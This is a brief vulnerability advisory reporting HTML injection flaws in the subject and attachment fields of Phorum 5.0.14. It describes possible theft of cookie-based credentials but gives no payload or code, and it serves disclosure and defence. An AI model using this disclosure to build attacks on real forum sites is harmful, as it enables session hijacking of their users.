Phorum Multiple Subject and Attachment HTML Injection Vulnerabilities

Phorum is reportedly affected by multiple HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

These issues are reported to affect Phorum 5.0.14; earlier versions may also be affected.
